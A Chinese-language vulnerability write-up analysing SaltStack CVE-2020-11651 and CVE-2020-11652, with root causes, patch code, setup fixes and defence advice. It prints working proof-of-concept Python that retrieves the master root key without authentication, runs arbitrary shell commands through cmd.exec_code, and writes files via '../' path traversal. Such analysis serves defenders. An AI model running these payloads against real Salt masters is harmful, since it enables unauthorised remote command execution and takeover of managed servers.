SaltStack CVE-2020-11651/11652 分析
字数 1471 2025-08-25 22:58:40
SaltStack CVE-2020-11651/11652 漏洞分析与利用指南
1. 漏洞概述
SaltStack是一种基于C/S架构的服务器基础架构集中管理平台,2020年披露了两个高危安全漏洞:
- CVE-2020-11651:权限缺陷漏洞
- CVE-2020-11652:任意文件读写漏洞
这两个漏洞可以组合使用实现远程命令执行(RCE),Ghost等公司曾因此被入侵并植入挖矿程序。
2. 受影响版本
所有SaltStack版本,官方修复版本为3000.2及以上。
3. CVE-2020-11651 权限缺陷漏洞分析
3.1 漏洞原理
SaltStack master进程的ClearFuncs类没有正确验证方法调用,允许未认证的远程用户访问某些方法。这些方法可以用来从salt master检索用户令牌或在salt minions上运行任意命令。
3.2 漏洞利用流程
- 通过未认证的
_prep_auth_info方法获取root key - 使用获取的root key执行恶意命令
3.3 POC核心代码
def get_rootkey():
try:
response = clear_channel.send({'cmd': '_prep_auth_info'}, timeout=2)
for i in response:
if isinstance(i, dict) and len(i) == 1:
rootkey = list(i.values())[0]
print("Retrieved root key: " + rootkey)
return rootkey
return False
except:
return False
获取root key后执行命令:
def master_shell(root_key, command):
msg = {
"key": root_key,
"cmd": "runner",
'fun': 'salt.cmd',
"kwarg": {
"fun": "cmd.exec_code",
"lang": "python3",
"code": "import subprocess;subprocess.call('{}',shell=True)".format(command)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'
}
try:
response = clear_channel.send(msg, timeout=3)
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
return True
except:
print("something failed")
return False
3.4 漏洞触发路径
clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')- 实例化为
AsyncZeroMQReqChannel,命令未加密 - SaltStack master端
ReqServer启动server和worker线程 MWorker通过_bind方法绑定端口并接受请求_handle_payload处理payload,由于enc为clear,调用_handle_clear_handle_clear调用_prep_auth_info返回root key
3.5 修复方案
修复代码增加了方法暴露限制:
class TransportMethods(object):
expose_methods = ()
def get_method(self, name):
if name in self.expose_methods:
try:
return getattr(self, name)
except AttributeError:
log.error("Requested method not exposed: %s", name)
else:
log.error("Requested method not exposed: %s", name)
4. CVE-2020-11652 任意文件读写漏洞分析
4.1 漏洞原理
SaltStack master进程的ClearFuncs类允许访问一些未正确清理路径的方法,这些方法允许认证用户进行任意目录访问。
4.2 POC示例
def test_clearfuncs_config(self):
clear_channel = salt.transport.client.ReqChannel.factory(self.minion_config, crypt="clear")
msg = {
"key": self.key,
"cmd": "wheel",
"fun": "config.update_config",
"file_name": "../evil",
"yaml_contents": "win",
}
ret = clear_channel.send(msg, timeout=5)
assert not os.path.exists(os.path.join(self.conf_dir, "evil.conf")), "Wrote file via directory traversal"
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'path': '.tmp/salt_CVE_2020_11652',
'data': 'evil',
}
ret = clear_channel.send(msg, timeout=5)
4.3 缺陷代码
salt/wheel/file_roots.py中的write方法:
def write(data, path, saltenv="base", index=0):
if os.path.isabs(path):
return "The path passed in {0} is not relative to the environment {1}".format(path, saltenv)
dest = os.path.join(__opts__["file_roots"][saltenv][index], path)
仅使用os.path.isabs判断是否为绝对路径,但可通过../绕过。
4.4 修复方案
新增_realpath校验函数:
def _realpath(path):
if salt.utils.platform.is_darwin():
return _realpath_darwin(path)
elif salt.utils.platform.is_windows():
if salt.ext.six.PY3:
return _realpath_windows(path)
else:
return path
return os.path.realpath(path)
5. 组合利用实现RCE
- 利用CVE-2020-11651获取root key
- 使用root key通过CVE-2020-11652写入恶意文件
- 或者直接使用root key执行命令
6. 环境搭建问题解决
在Mac上安装SaltStack时可能遇到timelib编译错误:
ext-date-lib/timelib_structs.h:24:10: fatal error: 'timelib_config.h' file not found
解决方案:
- 下载timelib:
python3 -m pip download timelib - 修改setup.py,添加include_dirs
- 手动编译安装
7. 防御建议
- 立即升级到SaltStack 3000.2或更高版本
- 限制SaltStack master的访问权限
- 监控异常的网络连接和文件修改
- 定期检查系统是否有可疑进程
8. 参考资源
- SaltStack官方公告:SALT 3000.2 RELEASE NOTES
- Ghost安全公告:Critical vulnerability impacting all services
- 漏洞披露时间:2020年5月